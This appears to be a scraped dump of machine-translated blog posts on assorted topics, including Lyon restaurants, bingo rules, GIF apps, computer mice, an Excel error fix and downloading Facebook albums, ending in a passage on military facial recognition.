The French food street we want to talk about in this article is Lyon, not only is France's third-largest city, it also has a number of delicious quality gourmet restaurants that 4 restaurants are under. This is the most representative article, collected and voted by Editor Becca Hensley of Dotwnews.\n  \n1. L'Auberge du Pont de Collonges L'Auberge du Pont de Collonges is a local gastronomic restaurant founded and operated by the Bocuse family, attracting a lot of tourists inside and outside the city as well as international visitors to eat and experience. The restaurant features a classic local decor with a long, bright color wall and a few decorative copper pots.\n  \nAs for food, the restaurant offers famous dove dishes and some special ingredients such as celery mousse and some sweet pastries. The price of a serving is also varied from 160, 210, or 250 Euro.\n2. La Mère Brazier The restaurant La Mère Brazier was bought by chef Mathieu Viannay in 2008 and then runs it until now. All dishes here are prepared according to the unique secret of chef Mathieu Viannay.\n  \nMany diners come here very satisfied with the deliciousness of the cuisine under the talented hand of the restaurant owner. Famous as new traditionally prepared dishes such as seabass in cream sauce, Bresse duck, red mullet cooked eggplant and zucchini stuffed with a little chili butter sauce.\n3. Café Des Fédérations Wandering into a small street in Kyon city center near City Hall, Bouchon Lilliputian, you will find the restaurant Cafe Des Fédérations. This place offers delicious special drinks such as Kir Red Cocktail, coffee, tropical wine cocktail .\n  \nAt noon, the restaurant offers a few deliciously delicious main menus including boiled eggs in wine wine sauce, Salad lentils, three-legged prawns, crayfish, chittering sausages and cheese endings. for between 19-27 Euro per person.\n4. Au Petit Bouchon Chez Georges Au Petit Bouchon Chez Georges owns a relatively small operating space that can only accommodate 25 guests. However, one of the best points of the restaurant that attracts many visitors is how to decorate the dining room. The dining room has a bright yellow color, walls hang, drop many wooden artifacts with different artifacts and it is impossible not to mention many decorative wine bottles placed on the enemies brewed around the dining table space. Diners.\n  \nAnd the main attraction is the strange culinary world at the restaurant, which can include dishes such as calf kidney cooked with mustard sauce, calf tongue scoop served with lentils, chicken liver salad .\nHuynh Dung ( According to Dotwnews )\nncG1vNJzZmismaXArq3KnmWcp51kw6q%2FyK1kraCVYoFursSsq2aqlajBosHRmqWtq12eu2642KilZp6ilruksQ%3D%3D\n","link":"/post/visit-the-4-best-restaurants-in-lyon-france/","section":"post","tags":null,"title":"Visit the 4 best restaurants in Lyon, France"},{"body":"Bingo is a popular game in Western countries, the game has simple rules that are suitable for all family members and friends. The way to play Bingo is very simple and easy to understand, both capable of having fun and having many variations suitable for many different players.\nWhat is Bingo? Bingo is an entertainment game combined with betting that is now quite popular in Western countries. We can simply understand Bingo as a winning game if the player connects 5 numbers on any vertical, horizontal or diagonal row. The game is called Bingo because when winning the player will ring 'Bingo' to signal.\nBingo is usually played between many people or in groups. The gameplay has many different variations, but all have the same goal of winning when connecting the cells in a board into a vertical, horizontal, or diagonal line according to the rules. The cells in the game can be numbers, images, symbols.\nIntroduction to basic Bingo rules Bingo game is played in groups, each player will be given a board with cells containing words, phrases, pictures, etc. Each player will receive 1 Bingo board with the same content, only the order of the games is different. the cell has been shuffled.\nWhen the game administrator reads a request (for example, finding a word, solving a calculation, or finding a picture that corresponds to the content that describes an item), the player will have to find the corresponding match box and then tick (use a 'tick' or color the entire cell).\n  If anyone finds 5 words/pictures/pictures/… in a horizontal/vertical/diagonal row or finds 4 points in the 4 corners, they can call 'Bingo' and win.\n  So you can see the rules of Bingo, how to play Bingo is completely simple, this is a suitable game to help children practice and review skills in English, language, history topics, math, literature, geography. For adults, even though they have different levels of knowledge, they can all play Bingo very happily.\nSome tips for variations with the game Bingo A special feature of how to play Bingo is that you can freely change this game to your liking. There are several variations that make this game more interesting:\nExample: Change words/phrases in Bingo Table with pictures, pictures.\n  No need to read the correct word/phrase or specify what picture, but give hints so that the child can guess what the picture/phrase contains. Change the number of squares in the Bingo board to match the object. play (young children, older children, adults, the elderly, .).\nYou can also let your child choose the keywords in the Bingo table according to what they like or the words are taken from a certain book, all of which are chosen by the child. When children have Bingo, you can help children develop more comprehensive language and thinking skills by asking them to make sentences with these 5 squares or write a short paragraph containing keywords in 5 squares. is opened.\n  Introduction to online Bingo rules Besides the traditional Bingo game that is very popular in the West and increasingly spreading to Asia, the online bookie has also quickly brought Bingo into an attractive betting product. And the online Bingo game simply carries the element of luck, which is extremely entertaining.\nThe rules of online Bingo are similar to regular Bingo, each player also receives a Bingo table containing the same content, only the order of the squares is different. For large casinos, you can also arbitrarily arrange the position of the squares to your liking.\nThen the player will spin the gearbox and call the numbers, if your Bingo board has the number called, then tick it. Finally, if the player gets 5 adjacent squares in a horizontal/vertical/diagonal row, he will get Bingo and win.\n  In each different country, there are rules for playing Bingo, how to play Bingo differently. In the US, the common form is 75 balls, each card contains 25 random numbers. Cards are printed as having 5 columns and 5 rows. In the UK it is a 90 ball type, and each card has 15 random numbers, the 90 ball card consists of 3 rows and 9 columns. Each row will have 5 ticked random numbers generated in a specific pattern that will win.\nIn order to play Bingo online easily, you must first find a playing address, a reputable bookie for convenience in registering, depositing money, playing betting games and being safe. You can find a list of trusted bingo sites here, which are the top reputable online betting sites that you should experience.\nCompare Bingo and Keno games at online casinos If you compare Bingo games and Keno games, you will see that they have some very similar points. Both games are quite similar in how to play online casino, the numbers will always be updated and the player has the right to win based on the number of the upcoming card.\nOn the other hand, Keno and Bingo also have differences, In Bingo, players cannot choose their own numbers. Although some websites allow players to exchange cards, each number on that card is not allowed to be changed. The player also cannot adjust or control the bet amount; can only select multiple cards at once with a fixed amount. And keno is quite flexible, if there are 20 numbers players can choose and decide the series is suitable and bet as much as they like.\nConclude Above, TipsMake introduced to you what Bingo game is, how to play Bingo, basic online Bingo rules that anyone can play after 1 study. Hope this information is useful to you.\nHave fun playing Bingo and good luck!\nncG1vNJzZmismaXArq3KnmWcp51kxKmt02agrGWSnruou4yhprBlpKR6sbjAsmSboZ6cvG6%2FyKanpZ1dlrulecSaqrI%3D\n","link":"/post/what-is-bingo-how-to-play-bingo-simple-and-easy/","section":"post","tags":null,"title":"What Is Bingo? How To Play Bingo Simple And Easy"},{"body":"People share GIFs to entertain or express themselves. However, sometimes GIF images you need are not available online. That's why you need a GIF creation application.\nYou don't need to learn to use professional applications to create GIFs, you can do it right on your phone. Here are some of the best GIF creation apps for Android and iPhone.\nGuide to creating Gif images on Android How to turn a still image into an image on your phone How to create animations from photos on iPhone 1. Giphy Cam Download Giphy Cam for Android Download Giphy Cam for iOS Giphy, one of the leading GIF storage platforms on the Internet, has a mobile application dedicated to creating new GIFs. This application is called Giphy Cam, comes with many silly effects and editing tools to help you create stunning GIF images.\nTo create GIFs with this application, you can import media from the phone store or take new photos and videos. Then you can choose multiple options to edit.\nUsers can use filters, personalize the background with animations, add stickers or text, etc. In addition, Giphy Cam also provides masks to cover people and animals.\nAfter creating the GIF image, you can save it to your computer or share it directly on social networks. Giphy Cam also allows you to adjust the repeat sequence, making your GIFs stand out. This is a free application and no in-app purchases.\nHow to create Gif images quickly with Giphy 2. GIF Maker, GIF Editor, Video Maker, Video to GIF (Android) Download GIF Maker, GIF Editor, Video Maker, Video to GIF for Android In addition to the usual GIF image creation feature, GIF Maker also has a number of other useful tools such as a simple conversion tool to convert video into GIF images, split GIF images into multiple images and image search tools on Giphy. In addition, GIF Maker also allows you to import and edit existing GIF images from your phone.\nTo create a new GIF image, GIF Maker also has many options for you to use, such as filters, emoticons, color effects, captions, etc. During the GIF creation process, you can also choose the exact level resolution and size you want.\nUsers can use GIF Maker as Android video editing application and export the project as a regular clip.\nFree GIF Maker but you can remove ads and unlock some advanced features if upgrading to the premium version.\n3. GIF X (iOS) Download GIF X for iOS GIF X is an application for creating high quality GIF images, converting images and videos into GIF images. The highlight of this application is that it has a unique mask collection that can automatically adapt to a specific part of the frame.\n  For example, if you have a sea photo, you can easily replace the blue sky with colorful rainbow backgrounds without using Photoshop. Above all, the application has hundreds of effects and stores over 200 masks.\nGIF X has an archive of GIF images uploaded by professional users of the application, if you like, you can download images for use. The application provides many basic editing options such as adjusting the opacity and resolution.\nGIF X is also free, but to unlock some advanced effects and filters, you must follow GIF X on social networks and evaluate it.\n4. GIF Maker - GIF Editor (Android) Download GIF Maker - GIF Editor for Android This Android application is one of the best GIF creation apps available today. However, you can only create new GIFs on this application and cannot use any conversion tools.\nGIF Maker has many extensive editing options that allow you to adjust each frame of a video or GIF. You can import from the library or get GIF images from Giphy database.\nLike other GIF creation apps, GIF Maker - GIF Editor has a wealth of filters and effects to choose from. For videos, you can remove a specific frame and edit the speed of GIF. On GIF Maker, you can also configure different input frames and text with multiple fonts.\nThis application allows you to insert Giphy verb sticker into a new GIF image. GIF Maker has a free version with advertisements and you can upgrade to the upgraded version if you want to own more features.\n5. GIF Maker - Video to GIF Maker (iOS) Download GIF Maker - Video to GIF Maker for iOS If you want an application to create GIF images easily on iOS, try GIF Maker - Video to GIF Maker.\nThe interface of this application is very simple, you can instantly turn your media into GIF images. Users can add 100 photos to a GIF image. In addition, GIF Maker has standard editing tools.\nYou can change the playback speed of GIF images, choose from 10 filters, add stickers or text. For videos, GIF Maker allows you to cut frames, time as you like. It supports Live Photos on iOS and can directly edit them.\nHowever, this application is not free. It has a trial version you can try before you decide to buy the application.\nWith these applications, your GIF images will be unique and your style. You just need to select photos, videos and easily convert them.\nncG1vNJzZmismaXArq3KnmWcp51kgm6uxKyrZp%2BZm3qkvsSaq6KnnmKusbzSZp2oql2evam7zZ5kmqaUp7yqsA%3D%3D\n","link":"/post/5-best-gif-creation-apps-for-iphone-android/","section":"post","tags":null,"title":"5 best GIF creation apps for iPhone, Android"},{"body":"Recently, a Reddit user revealed information about Apple discussing with the World Mobile Information Association (GSMA) and international operators about integrating standard RCS messages into iOS.\nRich Communication Services RCS (Rich Communication Services) is an Internet-based messaging protocol to support multimedia content such as images, audio and video, not just SMS text messages. There are now Google, Samsung and Verizon pushing to support this new protocol. RCS is expected to replace the current popular SMS.\n  Planning to deploy RCS into iOS is being prepared by Apple.Screenshots.\nThe information is vague but it is clear at a GSMA event held on October 24 last year, Apple participated in discussions with GSMA and international operators. This shows that Apple is likely to put RCS messaging protocol into its iOS platform.\nIf Apple chooses to integrate RCS into iOS, it will help the company better prepare for a 2G and SMSS 'coup' in the future. In addition, it also helps improve the messaging experience between iMessage users and non-iMessage users.\nCurrently, there is no information on whether Apple and the GSMA have made a final decision.\nSee more:\nApple is testing iOS 13 Revealing the patent on Apple's folding screen iPhone, is \"better\" than Samsung ncG1vNJzZmismaXArq3KnmWcp51krrG8y55koqtdlq%2BwwdNmq6hlmaPBprPRmqueZaOprq%2BwwKubZqqTqHqusdKsmKCdo2K2r8DOZqCoqw%3D%3D\n","link":"/post/apple-is-about-to-integrate-standard-rcs-messages-into-ios/","section":"post","tags":null,"title":"Apple is about to integrate standard RCS messages into iOS?"},{"body":"Taking advantage of the sleeping bird, the coconut crab swings its prey. Although trying to struggle, the bird still could not escape the stronger and stronger pair of crabs and suffer from tragic endings.\nThe ultimate snake surgery of the tall bird is called the \"Taekwondo killer\". Discovering tiny crab species can climb trees The 10 most exotic crabs in the world you've probably never seen before Mark Laidre, professor at Dartmouth College, USA, and an National Geographic Association explorer spent two months on the Chagos Islands to study this mysterious coconut crab. After witnessing this giant crab's hunting strategy, he claimed that coconut crabs are enemies of ground-nesting birds.\n  In early March 2016, Laidre suddenly witnessed quite a scary hunting scene. A coconut crab tugs a red-footed crazy bird (scientific name Sula Sula) sleeping on a low tree branch. The crazy bird was clinging to its wings but still tried to fight back. Within 20 minutes, five other coconut crabs came to the place because they \"sniffed\" the smell of blood. After a few hours, the bird was torn to pieces by crabs and eaten.\n\nVideo: National Geographic.\nCoconut crabs cannot breathe underwater so they cannot swim to another island. In the island where coconut crabs live, Laidre doesn't see any birds nesting on the ground. Birds with fragile eggs also choose nesting places on islands without the presence of coconut crabs to avoid danger.\n  Coconut crab is a special crustacean. They are quite large in size, weigh about 4kg, 1m long in width. The reason why this crab is called coconut crab is because they specialize in climbing coconut picking trees to peel the pulp. They live in underground caves in some islands in the Indian Ocean.\nncG1vNJzZmismaXArq3KnmWcp51ksLCvzqesrWWTp66jv4yaq62Zk6B6rLXLpWScqpGvxm6uyKubrGWjobKmvMinnmasn2KyosCMppyarA%3D%3D\n","link":"/post/coconut-crabs-attack-kill-crazy-birds-sleeping-to-eat-meat/","section":"post","tags":null,"title":"Coconut crabs attack, kill crazy birds sleeping to eat meat"},{"body":"Difference between optical mouse and laser mouse Today, computer mice are one of the most popular and indispensable devices for people who regularly use computers.This item can easily be found on technology shelves with all different sizes.On the market today, the majority of computer mice are designed to be suitable for right-handed users, while the rest are for left-handed people.\nBased on features and features that can split the computer mouse, it is now made into two types: one uses optical sensors and the other is laser-based.So have you ever felt awkward about the difference between optical mice and laser mice?\n  Category Difference between optical mouse and laser mouse Do you believe it? Computer mice are optical devices Laser mice use invisible light with high accuracy The fight begins Accuracy and sensitivity Which is better? Do you believe it? Computer mice are optical devices Modern computer mice are basically camera devices.It may sound strange but if you look at how the computer mouse works, you will find that this is true.While we use the mouse, we will continuously capture images of the surface we hover over.However, these photos are not intended to be viewed but are not works of art either, they are converted into data that indicates the current position of the device on the surface of use.In short, understand that you are holding a low resolution camera in other words a CMOS sensor (Complementary Metal-Oxide Semiconductor).With two lenses and a light source this sensor captures thousands of shots every second to track the device's position changes.\nTechnically, computer mice are an optical device because they capture images during operation, which is optical data.However, in the market, many computer mice are considered an optical device because they emit red LED light when used.This lightis emitted from an LED bulb placed behind a lens to focus light into a beam.This beam shines down to the surface and then bounces back through the lens.These lenses enlarge the beam before they reach the CMOS sensor.\n  CMOS sensors collect the light beam and then convert them into an electric current.This analog data is then converted in the form of data 1 and 0, the process is the result of 10,000 digital images captured every second.As mentioned, these images are analyzed, compared to determine the exact position of the mouse on the surface, and then the final data is sent to the computer to locate the mouse cursor on the screen. picture with accuracy of up to eight milliseconds.\nIf you look at older LED mice, you will see the LED illuminated in a straight-down direction and emit a red beam on the surface that the sensor will capture.In the generation of mice a few years later, the LED lights in a corner and is often in the form of infrared so we cannot see it.This helps the mouse track its movements on most surfaces.\nLaser mice use invisible light with high accuracy In 2004 Logitech gained a major boost when it introduced the first laser mouse.Specifically, this mouse is called a vertical-cavity surface-emitting laser diode (VCSEL) - a technology commonly found in laser pointers, optical drives, barcode readers and many other devices.\nInfrared laser on this mouse to replace the infrared LED, the red LED is often seen before.Don't worry about these light being harmful to your eyes because the laser used on this device is not too strong (however, saying that doesn't mean you can stare at it for a few minutes). .These infrared rays are also outside the spectrum that the naked eye can see.Therefore you will not have to see unpleasant red light coming from below your mouse.\n  At times, laser mice are said to have far superior features compared to conventional optical mice.However, over time, optical mice have improved a lot and now they work well in many different situations with high accuracy.The biggest advantage of laser mice is that they have a higher sensitivity than conventional LED mice, but in fact, unless you are a gamer for normal users, this advantage is not a thing. too important.\nThe fight begins So if the big difference between the optical mouse and the laser mouse is at the light source they use, what is the biggest difference that users will experience in using these two mice?\nFirst, both types of mice collect surface information to track their position on that surface.But the advantage of lasers is that they can penetrate deeper into the surface structure without affecting the surface.This makes the CMOS sensor and processor inside the mouse more informative.\nFor example, although very clear and smooth, the glass surface still has extremely small irregularities and the laser can easily identify these irregularities, thereby allowing users to hover. on the glass surface.Meanwhile, even the most modern optical mouse cannot work on glass surfaces.Even if you put the glass on another black surface, the optical mouse still cannot determine its position on the surface, but if you remove the glass, the optical mouse works normally.\nOf course, you rarely have to use a mouse on a glass surface, but the example above shows how two different lighting processes are in terms of performance.LEDs will only track the anomalies found on the top layer of the surface, while a laser can go much deeper to exploit more details.So optical mice work best on non-glossy surfaces and especially on mouse pads, while laser mice can operate on any glossy surface.\nAccuracy and sensitivity The problem with laser mice is that they are too accurate and collect too much unnecessary information about the surface it is operating.This can lead to problems because when we hover at a slow speed, the cursor on the screen is vulnerable to \"jitter\".As a result, some excess information is also thrown in with the information needed to send to the PC and the cursor will not appear in the exact position on the screen, at the exact time you intended.Although this problem has improved over the years, laser mice are still not an ideal choice if you are performing tasks that require meticulousness and high precision, for example when you sketch. details in Adobe Illustrator.\nIt can be said that the jitter phenomenon has nothing to do with the number of details a laser mouse can receive per second, which is associated with the entire process from laser surface scanning, information gathering, information processing. , until such information is sent to the computer.To reduce jitter, you can hover your mouse over the fabric surface, and place another dark, hard surface below, so that the laser will not collect unnecessary garbage data.\nAnother method is to reduce the sensitivity of the mouse.The resolution of CMOS sensor on the mouse is different from that on the camera because it works based on motion.The sensor includes a certain number of physical pixels that are aligned and placed in a square grid.The resolution of the image is derived from the number of individual images taken by a pixel in each physical motion on a surface.Because these physical pixels have a constant size, the sensor can use images to divide each pixel into smaller parts.This suggests that all mice have a certain physical resolution and increased sensitivity comes from the fact that the algorithm in the sensor automatically increases the movement of the cursor on the screen, despite moving the animal. The reason for the mouse remains unchanged.Therefore, the closer you get to the basic resolution, the more sensors in a laser mouse will collect less garbage data.Simply put, lower sensitivity also leads to more precise movement.\nWhich is better? This depends on many different factors.For example, with the Logitech G brand, you can see that Logitech is primarily focused on developing LED mice for the PC gaming market.That's because most of their customers are people who often use computers on their desks, and they may even be using a mouse pad designed with good friction.These PC gamers simply don't want any accuracy errors.\nHowever, laser mice are not a loser, Logitech still produces a small number of laser mice for ordinary users.In contrast, one of Logitech - Razer's biggest competitors, has a huge list of laser mouse products.Razer likes laser technology because it provides better sensitivity for high-speed motion in the game.In general, it's hard to say that any optical mouse or laser can fight all kinds of games.\nA laser mouse can be the ideal companion when you're in a hotel room, lying on a couch in the living room at home, surfing Facebook in Starbucks, or in a board meeting.In these situations the performance of the laser mouse is better than that of the optical mouse.You will find a laser mouse useful when you need to put your mouse on your lap to use it, or when your office is full of shiny furniture.Most high-end and expensive mice use laser technology.Of course they are also more expensive because lasers are a technology that offers more flexibility than optical mice.However, if you do not have to use the mouse often on bright, shiny surfaces, the optical mouse is also a bad choice.\nSee more:\nBest ergonomic (Ergonomic) keyboard 2018 8 things to know when buying a computer mouse Top 6 best gaming mice for PC gamers The best laptop keyboards 2018 ncG1vNJzZmismaXArq3KnmWcp51ksaqyxZ6pnqaknq61sYyop62hk5a5brnInJxmmZ6Zeq2t0p6pZqWZmLI%3D\n","link":"/post/differentiate-optical-mice-and-laser-mice/","section":"post","tags":null,"title":"Differentiate optical mice and laser mice"},{"body":"Launched by Apple for the first time five years ago, AirPods have opened up a whole new category of products not only for Apple but also for the entire technology industry. There are a ton of videos on the internet about models that replace AirPods, as well as copies that are no different from the original. It's not wrong to say that AirPods have changed the way we listen to music and interact in public. They're available everywhere, and everyone is looking to buy a pair of their own AirPods.\nHowever, if you don't have the budget for a brand new pair of headphones and decide to buy secondhand goods, here is the advice for you: never buy used AirPods! Here are 3 reasons for that.\n1. Problems . hygiene\nAirPods are extremely dirty. In fact, any headphone is extremely dirty. People produce even . vacuum cleaners dedicated to headphones, because they are extremely dirty. So don't buy used headphones. They are dirty. No matter how many times you clean them, or whether you use a special solution to disinfect them, the sincere advice is still . don't!\n 2. Battery problem\nThe battery of the AirPods is tiny. Each headset has a battery to help the headphone work. You also have a carrying case and a spare battery to charge the headphone when not in use. In the habit of using headphones, we always want AirPods to be fully charged, so they are always plugged in whenever possible. This will gradually degrade the battery. Like using an iPhone, you can see the battery status in the Settings app, and it will tell you the maximum capacity of your iPhone battery at the current time compared to the original capacity when shipped. AirPods have the same problem, but you have no way to check their battery status. So you should believe that after 1 year of use, the battery capacity will decrease depending on the usage. After 2 years, your AirPods will probably only hear for up to 30 minutes continuously. Therefore, do not buy used AirPods because you do not know what their maximum current battery capacity is!\n3. Price issue\nAirPods are expensive, which is undisputed. A pair of new AirPods cost $ 250 - too \"tannery\", but you won't regret it. And if you think you'll regret it, there are dozens of other cheaper options on the market. Do a little research and find out which headset model best suits your needs and the price range you accept to spend.\nBut please, don't waste your money on used AirPods.\nReference: Medium\nncG1vNJzZmismaXArq3KnmWcp51ksbB5zairZpqlrnq2v8SdZJqhoqW8pb8%3D\n","link":"/post/do-not-buy-used-airpods/","section":"post","tags":null,"title":"Do not buy used Airpods!"},{"body":" iPhoto is a great way to enhance all of your photos. Do you feel like you want to crop the photo but do not know how? This article will help. Open iPhoto.\nMethod 1of 2:\n Open iPhoto.\n  Select either Events or Photos.\n  Double-click on the photo you want to crop.\n  Click Edit.\n  Choose the crop button. (Optional) Choose a present aspect ratio.   Crop down the image then click apply.\n Method 2of 2:\niPhoto version 6  Highlight the photo. Click 'Edit'.\n  Click 'crop'. The picture will now have a shaded border. Drag this border larger or smaller depending on where you want your photo to be cropped.\n  When you are happy with the result, click 'crop' again. It is only at this point that you can undo your cropping if it doesn't look good.\n  Click on 'done'. Your photo will save the new zoomed-in cropped version.\n  Lesley Montoya Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZpuipL1utcyanp6rXZ67brXPoaatpw%3D%3D\n","link":"/post/how-to-crop-images-in-iphoto/","section":"post","tags":null,"title":"How to Crop Images in iPhoto"},{"body":"Excel is a very useful and extremely popular software at the office. With Excel, it helps users easily manage their data quickly. But in the process of using Excel often encounter different errors. One of the errors we often encounter when opening Excel File is There was a problem sending a command to the program. In this article, the Software Tips will guide on how to fix \"There was a problem sending a command to the program\" when opening Excel files.\n  1. Check for errors When you start any Excel file, you receive the following error:\nThere was a problem sending the command to the program. Windows cannot find the file, Make sure you typed the name correctly, and then try again. Cannot find the file (or one of its components). Make sure the path and filename are correct and that all required libraries are available.   When you get errors like these there are many cases that will happen. But the two most common cases we see are.\nError message 01 time. The next boot was as usual, without any problems. Error message repeatedly when you open that Excel File. 2. How to overcome Method 1. Install in Excel Step 1: You proceed to start your Excel software and select the File section .\n  Step 2: Then you select Options to open the options window.\n  Step 3: In the Options window, select the Advanced tab and scroll down to the General tab and uncheck \"Ignore other applications that use Dynamic Data Exchange (DDE)\" . Then you proceed to click OK and restart your Excel.\nNote: If this feature of your Excel does not turn on then you proceed to turn it on and then turn it off.\n  Method 2. Relink the Excel file with the software Step 1: You right-click on the Excel File you want to open and select Open  With .\n  Step 2: Then choose Look for another app on this PC .\n  Step 3: Here you find the running Excel file, with Excel 2016, you find the following path:\nThis PC / Local Disk (C:) / Program File / Microsoft Office / root / Office 16 and select XUCONS.Exe and click Open to boot.\n  Method 3. Grant administrative rights to Excel Step 1: Right-click on the Excel application and select Properties .\n  Step 2: Then you select the Compatibility tab and select Run this program as an administrator and click Apply to apply.\n  In this article, Software Tips introduced to you how to fix \"There was a problem sending a command to the program\" when opening Excel file most effectively. Good luck!\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZp6ZrXq1tMSrnGavkah6onnPq6abpJWierSxzZ2gp59dlnqku8ymmKecXam8bsDHnmSpqp%2Bcv6K5jLCfnqZdpL2musinnmadqJiyrXnFoqOeqw%3D%3D\n","link":"/post/how-to-fix-there-was-a-problem-sending-a-command-to-the-program-when-opening-excel-files/","section":"post","tags":null,"title":"How to fix There was a problem sending a command to the program when opening Excel files"},{"body":"This wikiHow teaches you how to play a video saved in MKV format on your Windows or Mac computer, using either DivX Player or VLC Media Player. Open the DivX download page. Go to https://www.divx.com/en/software/divx/.\nMethod 1of 2:\nUsing DivX Player  Open the DivX download page. Go to https://www.divx.com/en/software/divx/.\n  Click FREE SOFTWARE ↓. This blue button is in the top-right corner of the page. Your DivX setup file will begin downloading.\n  Wait for DivX to finish downloading. Depending on your browser's settings, you may first have to select a download location or confirm the download before it will start downloading.\n  Install DivX Player. This process will vary based on your computer's operating system: Windows - Double-click the black and blue DivX setup file, click Yes if prompted, click Next, check the \"Accept\" box and click Agree, click Next, click Skip, and click Finish when the installation completes. Mac - Open the setup file, verify the installation, and then drag the black and blue DivX icon onto the \"Applications\" folder shortcut.   Open DivX Player. Double-click the DivX icon, which resembles a blue \"x\" on a black background, to open it.\n  Click File. It's in the top-left corner of the DivX window (Windows) or in the top-left corner of the screen (Mac).\n  Click Open Video…. This option is at the top of the File drop-down menu. Doing so opens a window.\n  Select your MKV video. Click the video that you want to open in DivX. You may first have to click the folder that the MKV video is in (e.g., Desktop) on the left side of the window.\n  Click Open. It's in the bottom-right corner of the window. Doing so will open your video in DivX Player; it should play like a normal video.\n  Isabella Humphrey Update 05 March 2020\nncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZqiclsZuucqvZJ%2BhnJrA\n","link":"/post/how-to-play-mkv-files/","section":"post","tags":null,"title":"How to Play MKV Files"},{"body":"For example, the file extension.txt has the extension .txt . This extension is quite important, allowing the operating system as well as the user to know what kind of file this is, as well as what programs will run when you open the file.\nOn macOS, Finder hides most file extensions by default. If you want the file extension to always be fully visible no matter what file type it is, you just need to make a few simple setting changes in Finder Preferences . Here's how to do it.\nFirst, click the Finder icon in the toolbar. Next, open the Finder menu on the top right edge of the screen and choose ' Preferences '.\n  When the Finder Preferences screen appears, click on ' Advanced ' in the toolbar at the top of the window.\n  In the Advanced Finder Preferences section that appears, check the box next to the option ' Show all filename extensions '.\n  Close the Finder Preferences window and that's all you have to do. Now open up a Finder window and preview a few files. You will see the fully displayed extensions at the end of the file name.\nHow to hide file extensions on a Mac If you want to re-hide file extensions on your Mac as the original default status, go to ' Finder Preferences'\u0026gt; 'Advanced ' again and uncheck the ' Show all filename extensions ' checkbox.\nIn case you see some file extensions still visible. For example, there are many situations where Mac users report that some files in their 'Downloads' folder still show the extension - this could be an error.\nIf you're in this situation, you can hide the extensions one by one. To do so, right click on the file, under ' Name \u0026amp; Extension ' click on the option ' Hide extension '.\nfile extensions Finder ncG1vNJzZmismaXArq3KnmWcp51ktbDDjK2mZquVqXq2vIyfrKWkXZu2rbGMnq%2BtnZ6otrC60maboqugoa66ec6nZJplnZaw\n","link":"/post/how-to-set-up-full-file-extensions-display-on-a-mac/","section":"post","tags":null,"title":"How to set up full file extensions display on a Mac"},{"body":"Downloading Facebook photo albums is no longer so complicated, when you just need to click once to download the album from your personal Facebook is done. Photos are downloaded in zip file format so we extract to get our photo album. With this option, users do not need to download each image to the computer, saving a lot of time.\nDownloading Facebook photo albums is possible with personal Facebok and Facebook friends or anyone. Operation to download personal Facebook photo albums is simpler when you download Facebook photo albums from others. The following article will guide readers how to download other Facebook photo albums and download personal Facebook photo albums.\nThe fastest way to download Facebook videos to your computer without software How to download closed Facebook videos How to backup Facebook data to your computer How to download HD photos, original photos, sharp photos Fullsize from Facebook 1. How to download Facebook photo albums friends and relatives When you access your friends' Facebook or any account and see beautiful photo albums, you can also download them to your computer, but you must let the public display or friends for that photo album. However, if you download someone else's Facebook photo album, there is no Download option available on the interface as if you downloaded your album, but you have to install the supported DownAlbum utility.\nStep 1:\nFirst of all we download the DownAlbum utility for the Chrome browser according to the link below.\nDownload the Chrome DownAlbum utility   Step 2:\nYou then access the photo album of your friends or others who want to download it to your computer.\n  Step 3:\nFind the photo album you want to download and click on the utility icon DownAlbum in the browser address bar. Display the utility menu as below, click on Normal .\n  Then display the message on Facebook's interface, users click OK to continue.\n  Step 4:\nNext, show the total number of photos in the album you want to load, click Output to open the image interface.\n  The new interface opens the display of photos from the Facebook album. Here you can see details of the time to post each photo when clicking the clock icon, or the arrow icon to open a photo post on Facebook.\n  Step 5:\nPress Ctrl + S to download all the photos in that album to your computer. Display computer folder to save photo album with Facebook account name and album name. Select the folder to save the file to load and click Save . If the album is too much, then the download process is relatively long.\n  Step 6:\nUtility results DownAlbum saves flee HTML and separate photo album folders as shown below.\n  The photo folder includes all photos included in the album.\n  2. How to download all photo albums on Facebook Video tutorial download Facebook album Download photo album feature has been included in each album on Facebook. And when users want to download that album, just click on that option. However, note to users of this feature only on Facebook version of the computer only. With the Facebook application you need to wait more in the future.\nStep 1:\nFirst of all, please log in to your personal Facebook account.\nStep 2:\nWe have access to a certain album on Facebook and I want to download the whole picture. For example, here I want to download the photo album Facebook cover photo. At the interface of the album, you will click on the gear icon . Then, click on the Download album option.\n  Step 3:\nAppear a small interface frame Start the download process? With the content of your album it will take time to download. We will receive a notification when the album is ready to download. Click Continue .\n  Step 4:\nWhen you receive the message as shown below, it means that the photo album on Facebook has been downloaded. We just need to click on that message to download the image to the computer. You wait for a few seconds to download the album. Depending on the number of photos in the album, as well as the size of each photo, the time we download photo albums will vary.\n  Step 5:\nPhoto albums on Facebook will be downloaded to the computer as a .zip file . We just need to proceed to extract that file to see all the images in the album downloaded on Facebook.\n  So you already have all the photos on your Facebook album. Very simple right ?! The update of this feature has enabled users to download any album on Facebok as they wish, without having to install the support tools on Chrome and Firefox browsers as before. Now, you just need to click on the option to Download album on Facebook.\nRefer to the following articles:\n2 ways to rename Facebook when less than 60 days or more than 5 times This is how Live Stream Facebook Video on PC, Fanpage The fastest way to download Facebook videos to your computer without software I wish you all success!\nncG1vNJzZmismaXArq3KnmWcp51ktq%2B%2F06usnKyZpLu0edOoZJ2np6O5sK3DZpilpF2ltbDAzmaYpZqlosBuu81mnZqblZe8sLc%3D\n","link":"/post/instructions-to-download-all-photo-albums-on-facebook/","section":"post","tags":null,"title":"Instructions to download all photo albums on Facebook"},{"body":"Thanks to the great advances in the field of artificial intelligence in general and machine learning in particular in recent years, facial recognition technology is becoming much more powerful. Advanced facial recognition systems today can easily select each specific face in a busy crowd with impressive accuracy.\nBut accuracy alone is not enough, identification distance is also a factor to be focused on improving. The U.S. military has just been transferred technology and is testing a handheld facial recognition device that can accurately identify a person's identity at distances up to 1,000 meters, equivalent to the length of 10 soccer fields.\nThis state-of-the-art facial recognition device is the result of a project called 'Advanced Tactical Facial Recognition', funded by the US military and started to be deployed in 2016 by the technology firm Secure Planet. based in Arlington, Virginia. On its website, the company claims that its mobile biometric identification and verification system can provide the necessary protection to not only soldiers but also citizens, helping to keep it safe. remote locations in high-risk environments like on battlefields or riot locations. At the same time, it is emphasized that this product is developed 100% for legitimate security purposes.\n  Secure Planet did not disclose exactly how this handheld facial recognition device works. Even with the most advanced AI technologies, there is still a big challenge that experts have to solve, which is how to reduce noise when observing an object moving from a distance. thus down to an identifiable AI level. 